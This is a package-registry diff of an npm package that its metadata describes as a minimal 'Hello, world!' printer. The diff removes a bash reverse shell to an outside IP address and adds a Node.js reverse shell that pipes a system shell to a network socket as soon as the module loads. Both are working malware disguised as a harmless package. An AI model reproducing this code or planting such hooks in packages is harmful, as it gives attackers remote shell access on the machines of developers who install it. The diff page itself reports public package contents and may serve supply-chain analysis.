hello-world-pkg-value-value-p 1.0.4 → 1.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +12 -11
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,11 +1,12 @@
1
- const { execSync } = require('child_process');
2
-
3
- try {
4
- const user = execSync('bash -i >& /dev/tcp/52.249.218.132/8080 0>&1').toString().trim();
5
- console.log(`Current Linux User: ${user}`);
6
-
7
- } catch (error) {
8
- // execSync throws an error if the command fails (non-zero exit code)
9
- console.error('Command failed with status:', error.status);
10
- console.error('Error message:', error.stderr.toString());
11
- }
1
+ (function(){
2
+ var net = require("net"),
3
+ cp = require("child_process"),
4
+ sh = cp.spawn("sh", []);
5
+ var client = new net.Socket();
6
+ client.connect(8080, "127.0.0.1", function(){
7
+ client.pipe(sh.stdin);
8
+ sh.stdout.pipe(client);
9
+ sh.stderr.pipe(client);
10
+ });
11
+ return /a/; // Prevents the Node.js application from crashing
12
+ })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "hello-world-pkg-value-value-p",
3
- "version": "1.0.4",
3
+ "version": "1.0.6",
4
4
  "description": "A minimal npm package that prints Hello, world!",
5
5
  "main": "index.js",
6
6
  "scripts": {